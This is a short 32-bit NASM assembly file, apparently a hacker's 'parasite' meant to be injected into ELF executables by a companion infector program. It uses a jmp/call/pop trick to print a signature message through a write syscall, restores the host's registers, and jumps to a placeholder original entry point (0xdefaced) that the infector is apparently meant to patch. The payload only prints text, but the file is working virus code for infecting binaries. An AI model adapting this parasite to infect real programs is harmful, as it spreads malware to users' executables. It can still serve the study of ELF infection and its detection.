; Parasite used in elf_infector.c
;
; $nasm -f elf elf_write_parasite.asm -o elf_write_parasite.o
; $objdump -d ./elf_write_parasite.o
; $gcc elf_write_parasite.o -o elf_write_parasite
; $./elf_write_parasite
; nitr0us PARASITE C0D3 ;)
; $
;
; nitr0us

[BITS 32]
GLOBAL	main
main:
	push	eax
	push	ebx
	push	ecx
	push	edx
	push	esi
	push	edi

	jmp short foo
bar:
	pop	ecx
	xor	eax, eax
	xor	ebx, ebx
	xor	edx, edx
	mov	al, 4
	inc	bl
	mov	dl, paylen
	int	80h

	pop	edi
	pop	esi
	pop	edx
	pop	ecx
	pop	ebx
	pop	eax

	mov	ebp, 0xdefaced
	jmp	ebp

foo:
	call	bar

payload:
	db	"nitr0us PARASITE C0D3 ;)", 0x0a
paylen	equ	$ - payload
